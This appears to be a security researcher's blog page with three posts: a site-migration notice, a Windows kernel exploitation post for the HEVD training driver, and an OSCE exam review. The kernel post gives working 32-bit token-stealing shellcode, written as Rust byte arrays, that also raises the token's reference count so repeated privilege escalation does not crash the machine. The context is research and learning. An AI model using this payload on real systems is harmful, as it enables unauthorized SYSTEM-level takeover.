jeudi 27 décembre 2018

Migrated Blog Location

Hello,

Just wanted to say that I'm fed up with Blogger poor support for versioning, code, etc.
All the code highlighting on this blog was super slow due to crappy javascript, sorry for the readers.

In order to fix these various issues, I've migrated the blog to github.io using a full static site generator : Jekyll.
It will take some time to have a nice template but it'll be worth it in the long run. Minimal javascript just for the disqus comment, all the pages now print instantly and all the articles are written using Markdown.

Find it here : https://m101.github.io/ .

Enjoy,

m_101

samedi 28 avril 2018

Windows Kernel Exploitation : Token stealing payload with the reference counter updated

Hello,

I've been playing a bit with HEVD and it is indeed a fun challenge.

I will publish my multi-exploit but I won't detail exploitation as there is a lot of documentation on the techniques used already.

The part that is surprising though is that the token stealing payload not updating the reference counter is a well known issue all around ... but I haven't seen a public payload that fixes it.

The payload


It is written in assembly but I used it in Rust :).


fn get_payload_token_stealing (payload_end : &[u8]) -> Vec<u8> {
    let mut token_stealing_payload : Vec<u8> = vec![
            0x60,                                       // pushad
            // Get nt!_KPCR.PcrbData.CurrentThread
            0x31, 0xc0,                                 // xor eax,eax
            0x64, 0x8b, 0x80, 0x24, 0x01, 0x00, 0x00,   // mov eax,[fs:eax+0x124]
            // Get nt!_KTHREAD.ApcState.Process
            0x8b, 0x40, 0x50,                           // mov eax,[eax+0x50]
            0x89, 0xc1,                                 // mov ecx,eax
            0xba, 0x04, 0x00, 0x00, 0x00,               // mov edx,0x4
            // lookup for the system eprocess
            0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00,         // mov eax,[eax+0xb8]
            0x2d, 0xb8, 0x00, 0x00, 0x00,               // sub eax,0xb8
            0x39, 0x90, 0xb4, 0x00, 0x00, 0x00,         // cmp [eax+0xb4],edx
            0x75, 0xed,                                 // jnz 0x1a

            // get the system token
            0x8b, 0x90, 0xf8, 0x00, 0x00, 0x00,         // mov edx,[eax+0xf8]
            // patch it in our current eprocess
            0x89, 0x91, 0xf8, 0x00, 0x00, 0x00,         // mov [ecx+0xf8],edx

            // Increment the token reference count.
            // The PointerCount gets decremented when the process exit.
            // If it arrives to 0,
            // the SYSTEM TOKEN is freed and this causes a BSoD.
            // Here we won't get that BSoD,
            // since we "properly" increase the PointerCount.
            // OBJECT_HEADER.PointerCount
            0xb9, 0x07, 0x00, 0x00, 0x00,               // mov ecx, 7
            0xf7, 0xd1,                                 // not ecx
            0x21, 0xca,                                 // and edx, ecx
            // TOKEN-0x18 = Token Object Header
            0x83, 0xea, 0x18,                           // sub edx, 0x18
            // patch PointerCount
            // set it to a high value
            0xc7, 0x02, 0x00, 0x00, 0x01, 0x00,         // mov dword ptr [edx], 0x10000

            // set NTSTATUS to 0
            0x31, 0xc0,                                 // xor eax,eax               \

            0x61,                                       // popad                     \
    ];

    for byte in payload_end.iter() {
        token_stealing_payload.push(*byte);
    }

    token_stealing_payload
}


So what it does after stealing the token is the following:

// there are no condition in the ASM but showing how it can be done in 32 and 64 bits
_OBJECT_HEADER *hdr;
if (arch == 32) {
    hdr = (uint8_t *) pToken - 0x18;
}
else (arch == 64 {
    hdr = (uint8_t *) pToken - 0x30;
}
else {
// fail
}

hdr->PointerCount = 0x10000;


Why is it important to update that reference counter?


When your NT_AUTHORITY/SYSTEM shell is closed/exited, that counter is decremented.
As soon as it reaches 0, the token is freed but it is still used by the SYSTEM process.
That's part of why we get a BSoD if that's not taken cared of.

Conclusion


That's it, you can now exploit successfully multiple times without fearing a BSoD due to a BAD_POINTER_REFERENCE error ;).

Cheers,

m_101

References


- HEVD : https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

Yet Another OSCE Review

Hi,

I did OSCP begining of 2017 and then OSCE a while back in December but since I got people who keep asking me about it, I decided to write a blog. I'll try to make it short as there are many guides that enumerate tons of stuffs already.

It will be more about the feeling and experience than the details.

What to expect?


The OSCE guide has not been updated since around 2008-ish.
So the techniques shown are old and there are no mitigations (but ASLR for the ANI vulnerability, which is easily bypassed with partial overwrite).

You will learn the basics to finding vulnerabilities using a fuzzer such as SPIKE.
Any other fuzzer is authorized during the course though, you could use your own or a public one. They are only interested in your exploits and the process you used to write it.
If you are to use a public one, I'd recommend boofuzz (sulley's fork), it does the job.

Exploitation subjects:
- XSS et SQLi
- Fuzzing with SPIKE
- Plain old SEH overflow exploitation, there are no mitigations at all (no SafeSEH, ASLR or whatnot).
The "hard part" being to find the bad characters.
- Egg Hunting
- AV Bypass
- Encoding
- A cool network attack based on Cisco configuration overwrite


So, are the techniques learnt really that useful nowadays?


Definitely.
It gives a good introduction to exploit writing for people wanting to see what the process looks like.
The process doesn't change, you spend a lot of time figuring out things in the debugger and writing code.

Some techniques are not usable on current Windows like returning to code in the stack directly, nowadays you have to bypass DEP (Data Execution Prevention) unless you're somehow able to return in some controlled area of the JIT (just in time compilation) space.
Nowadays, most memory is at least ASLR (randomization of memory location) and DEP (rendering some memory regions non executable).

BUT, old tricks tend to re-appear again and again on new developed platforms.
IoT and other embedded devices for instance.
The more tricks you have, the better prepared you will be/are.

The stuff that is still quite useful today and will be for a long time:
- the concept of re-using existing code ("jmp esp" in the course, but there are many more)
- memory corruption concepts : RCE!
- fuzzing
- debugging skills
- writing code to attack another piece of code
- looking for bad characters
- root cause analysis

What you don't learn:
- building primitives : read/write/execute primitives are the foundation of modern exploitation
- bypassing mitigations, even though there is an introduction to ASLR

What about the exam, is it that hard?


Depends, for someone who did some exploit writing, it won't be.
For someone just starting out, it will be hell.

The exam is around 48h, so the hardest is managing your time and energy level properly I'd say.
It's very important to sleep, eat, shower and go out during the exam.

There are some exercises I didn't do during the lab time such as writing the described encoder and the AV bypass.
I had to do these during the exam. So tip : do every exercises in the lab.

My exam went something like this:

Day 1

Ok, there are like 4 challenges:
- 2 x 30 boxes
- 2 x 15 boxes
You need 75 points to validate your certification.

- Started hacking the most valuable boxes : 30 x 2 : 6h
- Kept waiting for downloading Linux distros and testing them out, ~5-6h
- Went for a nap (4-5h)
- Polished the hardest exploits : 1h
- Did the AV bypass : ~1/2-1h
- Did the last exploit, lost sooo much time on this. The exploit was already functional, but I forgot connecting in VNC (instead of RDP) to see the result... Don't forget to read the guide!
- I spent a LOT of time making sure I had all the screenshots and extract I needed.
- Went back to sleep

So for exploit writing, I ended up writing a custom encoder, custom ASM payloads, scripts there and there. I had around ~700-900 lines of code (a mix of ASM and Python) by the end of the exam.

Day 2


Wrote the report and sent it out.


I spent a total of around 17-19h on the exam, wrote the report on day 2 and got the confirmation on day 3.

Hardest part? Being tired during the whole exam, that's the really difficult part. It's quite intense.


What tools did I use?


Tooling:
- A lot of virtual machines
- z3 : yup, for my encoder :)
- Immunity Debugger
- mona.py (kudos to c0relan)
- Python
- python libraries : pwntools and requests (for exploit writing)
- boofuzz : for fuzzing
- nasm : for custom payloads

Conclusion


OSCE won't make you a uber-hacker overnight, but you will get to have a first foot into exploit development and see the process from vulnerability to exploit.

It's not as hard as people makes it out to be, but it's not easy either if you're not used to it. Just do it if  you feel like you have an interest in exploitation and in certifications.

This is a fun and interesting course that is well designed and thought out so I'd quite recommend anyone to do it just for the fun of it.

Good luck to anyone planning to pass it.

Cheers,

m_101